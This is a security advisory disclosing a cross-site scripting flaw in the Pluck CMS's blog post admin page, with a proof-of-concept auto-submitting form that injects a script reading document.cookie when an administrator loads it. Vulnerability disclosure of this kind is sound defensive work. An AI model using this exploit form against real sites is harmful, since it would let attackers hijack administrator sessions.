Cross-site Scripting (XSS) Vulnerability in Pluck

High-Tech Bridge SA Security Research Lab has discovered vulnerability in Pluck which could be exploited to perform cross-site scripting attacks.

1) Cross-site scripting (XSS) vulnerability in Pluck
The vulnerability exists due to input sanitation error in the "cont1" parameter in data/modules/blog/pages_admin/newpost.php. A remote attacker can send a specially crafted HTTP request to /admin.php script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim has access to administrative interface.
Exploitation example:
<form action="http://host/admin.php?module=blog&page=newpost" method="post" name="main" >
<input type="hidden" name="cont1" value='1"><script>alert(document.cookie)</script>' />
<input type="hidden" name="cont2" value="no category" />
<input type="hidden" name="cont3" value="" />
<input type="submit" id="btn" name="Submit" value="Save" />
</form>
<script>
document.getElementById('btn').click();
</script>